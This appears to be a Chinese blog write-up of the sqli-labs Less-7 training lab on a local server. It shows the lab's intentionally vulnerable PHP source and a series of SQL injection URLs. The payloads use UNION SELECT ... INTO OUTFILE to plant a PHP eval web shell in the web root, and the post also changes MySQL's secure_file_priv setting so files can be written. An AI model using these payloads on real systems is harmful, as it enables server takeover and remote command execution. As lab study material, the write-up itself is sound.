sqli-labs-less-7(需要注意配置问题)
Created at 2018-08-08 Updated at 2018-08-08
这是一道因为配置问题搞了很久题_φ( °-°)/
sqli-labs/less-7(导出文件GET字符型注入)
源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
//没有查询结果输出的语句,但是提示说outfile
// outfile是将检索到的数据,保存到服务器的文件内:
//outfile格式:select * into outfile "文件地址"
echo "<br>";
echo "</font>";
}
else {
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
//这里竟然不能输出报错信息啦!?
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
①
http://127.0.0.1/sqli-labs-master/Less-7/?id=1
(没报错)
http://127.0.0.1/sqli-labs-master/Less-7/?id=1'--+
(报错)
http://127.0.0.1/sqli-labs-master/Less-7/?id=1"--+
(没报错,但是看源码,这里不是应该报错的么??)
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')--+
(报错)
http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))--+
(没报错)
http://127.0.0.1/sqli-labs-master/Less-7/?id=1" and (extractvalue(1,concat(0x7e,(select concat_ws(' ; ',database(),user())),0x7e)))--+
(报错,但是没有报错信息)
所以不能用报错注入,但是提示还说outfile
导入到文件outfile:
SELECT…..INTO OUTFILE ‘file_name’
可以把被选择的行写入一个文件中。文件被创建到服务器主机上,但是必须拥有相应的权限,才能使用此语法。文件名也不能重复。
常用的形式:
1、直接写进文件里
(1)select version() into outfile "c:\\phpnow\\htdocs\\test.php"
,这里的version()可以换成别的,也可以是多个。
(2)select "<?php @eval($_POST['cmd']);?>" into outfile "XXX\test.php"
,这里需要获取到网站的在系统中的具体路径(绝对路径)
2、修改文件结尾
select version() Into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16进制文件
关于本题:
这里可以用select "<?php @eval($_POST['cmd']);?>" into outfile "XXX\test.php"
,导入到相应的路径下,在访问页面连接菜刀。在这里必须知道一些文件位置,但是不能报错注入,正确查询又没有信息显示,看了别的大佬的wp,说可以从别的等级的题来确定文件的位置。可以说真的好机制呐!
②
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,@@datadir,@@basedir MYSQL--+
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,@@version_compile_OS --+
通过第二题的查询,得到了数据库的当前位置、安装位置和操作系统的信息。
从中推测网站的默认路径为E:\phpstudy\PHPTutorial\WWW
③
根据第二题,还是可以知道查询三列,查询结果为第2、3列http://127.0.0.1/sqli-labs-master/Less-7/id=1')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "E:\phpstudy\PHPTutorial\WWW\test.php" --+
我猜大概是需要我手动修改一下权限吧。一开始以为是没有mysql这几个文件的权限,修改了权限之后,最开始还是不能访问,后来多点点莫名好了?!
http://127.0.0.1/sqli-labs-master/Less-7/?id=')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile 'E:\phpstudy\PHPTutorial\WWW\sqli-labs-master\Less-7\test07.php' --+
页面显示报错,再去相应的目录下查看,发现还是没有生成文件,很迷(唉,毕竟我是个小辣鸡φ(..) )
百度了很多,推算了很多(省略很多弯路过程),发现可能是因为secure_file_priv=NULL
造成的问题
关于secure_file_priv
的配置问题
(1)限制mysqld不允许导入和导出
mysqld --secure_file_prive=null
(2)限制mysqld的导入和导出只能发生在/tmp/目录下
mysqld --secure_file_priv=/tmp/
(3)不对mysqld 的导入和导出做限制
在/etc/my.cnf或者my.ini文件中不指定值。
为了记录,还是情景再现一下配置过程:
1、在phpmyadmin里查询:SHOW VARIABLES LIKE "secure_file_priv"
因为secure_file_priv
的值为NULL,不允许导出和导入,正是这个原因,所以才有之前的权限问题
在phpstudy的目录下找到相应的MySQL的配置文件my.ini(我的配置文件路径:E:\phpstudy\PHPTutorial\MySQL\my.ini),查看后发现没有这个选项唉…自己在末尾添加上:secure_file_priv =
,保存之后重启一下phpstudy就可以啦
修改完以后再次查看一下secure_file_priv
的值:
这样就可以导入导出了
2、测试一下能不能导入或导出select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "E:\phpstudy\PHPTutorial\WWW\sqli-labs-master\Less-7\test01.php"
报错了,不能创建,应该是被转义的问题吧select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "E:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\test01.php"
能够被执行,test01.php的内容为:
http://127.0.0.1/sqli-labs-master/Less-7/?id=')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "E:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\test.php"--+
页面还是会显示报错,但是在相应的目录下已经生成php文件了
④连菜刀
url:http://127.0.0.1/sqli-labs-master/Less-7/test.php
在找问题的过程中,看到了一些关于phpMyadmin提权,先码着看看
附上链接:https://blog.csdn.net/xiaoi123/article/details/80539419